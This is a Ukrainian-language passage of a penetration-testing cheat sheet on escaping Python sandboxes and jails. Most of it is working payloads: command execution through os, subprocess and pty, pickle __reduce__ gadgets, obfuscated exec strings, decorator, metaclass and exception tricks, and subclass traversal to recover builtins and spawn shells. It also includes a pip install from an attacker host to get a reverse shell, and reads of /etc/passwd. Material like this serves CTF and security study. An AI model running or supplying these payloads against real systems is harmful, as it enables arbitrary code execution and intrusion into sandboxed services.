Обхід Python sandboxes

Reading time: 39 minutes

Нижче наведені деякі прийоми для обходу захисту Python sandboxes та виконання довільних команд.

Бібліотеки для виконання команд

Перше, що потрібно з'ясувати — чи можна безпосередньо виконати код за допомогою вже імпортованої бібліотеки, або чи можна імпортувати будь-яку з цих бібліотек:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Пам'ятайте, що функції open і read можуть бути корисними для read files всередині python sandbox та для write some code, який ви могли б execute щоб bypass sandbox.

[!CAUTION] > Python2 input() function allows executing python code before the program crashes.

Python намагається load libraries from the current directory first (наступна команда виведе, звідки python завантажує модулі): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with the default installed python packages

Default packages

Ви можете знайти list of pre-installed packages тут: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Зауважте, що з pickle ви можете змусити python env import arbitrary libraries, встановлені в системі.
Наприклад, наступний pickle при завантаженні імпортує бібліотеку pip для використання:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Для отримання додаткової інформації про те, як працює pickle, перегляньте це: https://checkoway.net/musings/pickle/

Pip пакет

Трюк, наданий @isHaacK

Якщо у вас є доступ до pip або pip.main(), ви можете встановити довільний пакет і отримати reverse shell, викликавши:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Ви можете завантажити пакет для створення reverse shell тут. Зверніть увагу, що перед використанням ви повинні розпакувати його, змінити setup.py, та вказати вашу IP для reverse shell:

Eval-ing python code

Якщо певні символи заборонені, ви можете використовувати hex/octal/B64 представлення, щоб bypass обмеження:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Інші бібліотеки, які дозволяють виконувати eval python code

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Також див. реальний випадок sandboxed evaluator escape у генераторах PDF:

• ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Воно зловживає rl_safe_eval, щоб отримати доступ до function.globals і os.system через обчислювані атрибути (наприклад, колір шрифту) і повертає валідне значення, щоб зберегти стабільність рендерингу.

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733

Оператори та короткі хитрощі

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Обхід захистів через кодування (UTF-7)

У this writeup UFT-7 використовується для завантаження та виконання довільного python коду всередині, здавалося б, sandbox:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Також можливо обійти його, використовуючи інші кодування, наприклад raw_unicode_escape та unicode_escape.

Виконання Python без викликів

Якщо ви перебуваєте в python jail, який не дозволяє вам виконувати виклики, все ще існують способи виконати довільні функції, код та команди.

RCE за допомогою decorators

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE створення об'єктів і перевантаження

Якщо ви можете declare a class і create an object цього class, ви можете write/overwrite different methods, які можуть бути triggered without needing to call them directly.

RCE з custom classes

Ви можете модифікувати деякі class methods (by overwriting existing class methods or creating a new class) щоб змусити їх execute arbitrary code коли вони triggered без їх прямого виклику.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Створення об'єктів за допомогою metaclasses

Основне, що дозволяють metaclasses, — це створити instance class без прямого виклику constructor, шляхом створення нового class, у якого target class виступає як metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Створення об'єктів за допомогою виключень

Коли виключення спрацьовує, об'єкт класу Exception створюється без необхідності явно викликати конструктор (трюк від @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Більше RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Прочитати файл із довідкою builtins та ліцензією

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Builtins

• Builtins functions of python2
• Builtins functions of python3

Якщо ви маєте доступ до об'єкта __builtins__, ви можете імпортувати бібліотеки (зауважте, що тут також можна використати інші строкові представлення, показані в останньому розділі):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

Коли у вас немає __builtins__, ви не зможете імпортувати нічого, а також навіть читати чи записувати файли, оскільки всі глобальні функції (наприклад, open, import, print...) не завантажені.\

Однак, за замовчуванням python імпортує багато модулів у пам'ять. Ці модулі можуть здаватися безпечними, але деякі з них також містять небезпечні функціональності всередині себе, до яких можна отримати доступ і навіть досягти arbitrary code execution.

У наведених прикладах ви можете побачити, як зловживати деякими з цих "безпечних" завантажених модулів, щоб отримати доступ до небезпечних функціональностей всередині них.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Нижче є більша функція щоб знайти десятки/сотні місць, де ви можете знайти builtins.

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Перевірка globals і locals — хороший спосіб дізнатися, до чого ви маєте доступ.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Нижче є більша функція щоб знайти десятки/сотні місць, де ви можете знайти globals.

Виявлення довільного виконання

Тут я хочу пояснити, як легко виявити більш небезпечні функціональності, що завантажені та запропонувати більш надійні exploits.

Доступ до subclasses з bypasses

Одна з найчутливіших частин цієї техніки — можливість access the base subclasses. У попередніх прикладах це робилося за допомогою ''.__class__.__base__.__subclasses__() але існують інші можливі способи:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Знаходження небезпечних бібліотек, які завантажені

Наприклад, знаючи, що за допомогою бібліотеки sys можна import arbitrary libraries, ви можете шукати всі modules loaded that have imported sys inside of them:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Їх багато, і нам потрібен лише один, щоб виконати команди:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Ми можемо зробити те саме з іншими бібліотеками, які, як відомо, можуть використовуватися для виконання команд:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Крім того, ми навіть можемо знайти, які модулі завантажують шкідливі бібліотеки:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Крім того, якщо ви вважаєте, що інші бібліотеки можуть викликати функції для виконання команд, ми також можемо відфільтрувати за назвами функцій всередині можливих бібліотек:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
